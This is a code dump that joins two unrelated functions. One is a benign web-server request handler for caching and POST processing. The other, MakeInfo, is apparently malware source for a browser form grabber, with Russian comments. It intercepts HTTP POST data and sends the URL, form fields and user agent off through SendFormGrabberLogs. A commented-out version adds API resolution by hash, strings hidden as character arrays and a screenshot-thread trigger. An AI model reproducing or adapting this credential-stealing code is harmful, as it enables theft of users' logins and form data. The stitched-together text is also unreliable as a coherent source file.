int CWebServer::HandlePartialRequest(struct MHD_Connection *connection, ConnectionHandler* connectionHandler, const HTTPRequest& request, const char *upload_data, size_t *upload_data_size, void **con_cls) { std::unique_ptr<ConnectionHandler> conHandler(connectionHandler); // remember if the request was new bool isNewRequest = conHandler->isNew; // because now it isn't anymore conHandler->isNew = false; // reset con_cls and set it if still necessary *con_cls = nullptr; if (!IsAuthenticated(request)) return AskForAuthentication(request); // check if this is the first call to AnswerToConnection for this request if (isNewRequest) { // look for a IHTTPRequestHandler which can take care of the current request auto handler = FindRequestHandler(request); if (handler != nullptr) { // if we got a GET request we need to check if it should be cached if (request.method == GET) { if (handler->CanBeCached()) { bool cacheable = IsRequestCacheable(request); CDateTime lastModified; if (handler->GetLastModifiedDate(lastModified) && lastModified.IsValid()) { // handle If-Modified-Since or If-Unmodified-Since std::string ifModifiedSince = HTTPRequestHandlerUtils::GetRequestHeaderValue(connection, MHD_HEADER_KIND, MHD_HTTP_HEADER_IF_MODIFIED_SINCE); std::string ifUnmodifiedSince = HTTPRequestHandlerUtils::GetRequestHeaderValue(connection, MHD_HEADER_KIND, MHD_HTTP_HEADER_IF_UNMODIFIED_SINCE); CDateTime ifModifiedSinceDate; CDateTime ifUnmodifiedSinceDate; // handle If-Modified-Since (but only if the response is cacheable) if (cacheable && ifModifiedSinceDate.SetFromRFC1123DateTime(ifModifiedSince) && lastModified.GetAsUTCDateTime() <= ifModifiedSinceDate) { struct MHD_Response *response = create_response(0, nullptr, MHD_NO, MHD_NO); if (response == nullptr) { CLog::Log(LOGERROR, "CWebServer[%hu]: failed to create a HTTP 304 response", m_port); return MHD_NO; } return FinalizeRequest(handler, MHD_HTTP_NOT_MODIFIED, response); } // handle If-Unmodified-Since else if (ifUnmodifiedSinceDate.SetFromRFC1123DateTime(ifUnmodifiedSince) && lastModified.GetAsUTCDateTime() > ifUnmodifiedSinceDate) return SendErrorResponse(request, MHD_HTTP_PRECONDITION_FAILED, request.method); } // pass the requested ranges on to the request handler handler->SetRequestRanged(IsRequestRanged(request, lastModified)); } } // if we got a POST request we need to take care of the POST data else if (request.method == POST) { // as ownership of the connection handler is passed to libmicrohttpd we must not destroy it SetupPostDataProcessing(request, conHandler.get(), handler, con_cls); // as ownership of the connection handler has been passed to libmicrohttpd we must not destroy it conHandler.release(); return MHD_YES; } return HandleRequest(handler); } } // this is a subsequent call to AnswerToConnection for this request else { // again we need to take special care of the POST data if (request.method == POST) { // process additional / remaining POST data if (ProcessPostData(request, conHandler.get(), upload_data, upload_data_size, con_cls)) { // as ownership of the connection handler has been passed to libmicrohttpd we must not destroy it conHandler.release(); return MHD_YES; } // finalize POST data processing FinalizePostDataProcessing(conHandler.get()); // check if something went wrong while handling the POST data if (conHandler->errorStatus != MHD_HTTP_OK) return SendErrorResponse(request, conHandler->errorStatus, request.method); // we have handled all POST data so it's time to invoke the IHTTPRequestHandler return HandleRequest(conHandler->requestHandler); } // it's unusual to get more than one call to AnswerToConnection for none-POST requests, but let's handle it anyway auto requestHandler = FindRequestHandler(request); if (requestHandler != nullptr) return HandleRequest(requestHandler); } CLog::Log(LOGERROR, "CWebServer[%hu]: couldn't find any request handler for %s", m_port, request.pathUrl.c_str()); return SendErrorResponse(request, MHD_HTTP_NOT_FOUND, request.method); }
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len ) { // Собираем информацию об отправляемом запросе PCHAR MethodName; PCHAR Path; // Разбираем тип запроса if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL)) return false; pReq->dwVerb = GetMethodFromStr(MethodName); if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST) { StrFree(MethodName); StrFree(Path); return false; } // Собираем URL PCHAR Host = GetHTTPHeaderValue(buf, ParamHost); PCHAR Protocol = ProtocolHTTP; if (pReq->bHttps) Protocol = ProtocolHTTPS; pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path); StrFree(Path); StrFree(Host); if (pReq->Url == NULL) return false; // Проверяем POST данные if (pReq->dwVerb == hmPOST) { UpdateFFUserAgent(buf); DWORD HeaderHash = CalcHash(buf); if (FindHash(HeaderHash)) return true; // Проверяем тип контента PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType); DWORD Hash = CalcHash(CT); StrFree(CT); if (Hash != 0x6B3CDFEC) /* url_encoded*/ return true; // Обрабатываем пост данные PCHAR Optional = GetURLEncodedPostData(buf); pReq->Optional = Optional; if (Optional != NULL && ProcessPostData(pReq, Optional)) AddHash(HeaderHash); } /* if ( len < 10 ) { return false; } DWORD dwMethod = -1; char Post[] = {'P','O','S','T',' ',0}; char Get[] = {'G','E','T',' ',0}; char *Method = NULL; if ( !m_lstrncmp( buf, Get, 4 ) ) { dwMethod = VERB_IS_GET; Method = Get; } if ( !m_lstrncmp( buf, Post, 5 ) ) { dwMethod = VERB_IS_POST; Method = Post; } if ( dwMethod == (DWORD)-1 ) { return false; } //---------------------------------------------------------------------- typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *Host = NULL; char *Params = NULL; char Server[] = {'H','o','s','t',':',' ',0}; if ( GetText( buf, &Host, Server, "\r\n" ) != -1 ) { if ( GetText( buf, &Params, Method, " " ) != -1 ) { char *Type = NULL; char https[] = {'h','t','t','p','s',':','/','/',0}; char http[] = {'h','t','t','p',':','/','/',0}; if ( pReq->bHttps ) { Type = https; } else { Type = http; } if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL ) { pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params ); pReq->dwVerb = dwMethod; } MemFree( Params ); } MemFree( Server ); MemFree( Host ); } DWORD dwHeaderHash = CalcHash( buf ); if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST ) { if ( !FindHash( dwHeaderHash ) ) { char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 }; char *Content = NULL; if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 ) { DWORD dwContentHash = CalcHash( Content ); MemFree( Content ); if ( dwContentHash == 0x6B3CDFEC ) //urlencode { DWORD dwLen = 0; char *PostReq = GetPostData( buf, &dwLen, len ); if ( PostReq != NULL && dwLen ) { if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL ) { m_memcpy( pReq->Optional, PostReq, dwLen ); } if ( CalcHash( pReq->Optional ) == 0x24DE3210 ) { StartThread( ScreensThread, NULL ); AddHash( dwHeaderHash ); return true; } MemFree( PostReq ); char PostTag[] = {'|','P','O','S','T',':',0}; char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 ); if ( SendBuffer != NULL ) { m_lstrcpy( SendBuffer, pReq->Url ); m_lstrcat( SendBuffer, "?" ); m_lstrcat( SendBuffer, PostTag ); m_lstrcat( SendBuffer, pReq->Optional ); if ( !m_lstrlen( FFUserAgent ) ) { char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; char *pUserAgent = GetHttpInfo(UserAgentStr, buf ); if ( pUserAgent == NULL ) { FFUserAgent[0] = '-'; FFUserAgent[1] = '\0'; } else { if ( m_lstrlen( pUserAgent ) <= 255 ) { m_lstrcpy( FFUserAgent, pUserAgent ); } } MemFree( pUserAgent ); } if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) ) { AddHash( dwHeaderHash ); } MemFree( SendBuffer ); } } } } } } */ return true; }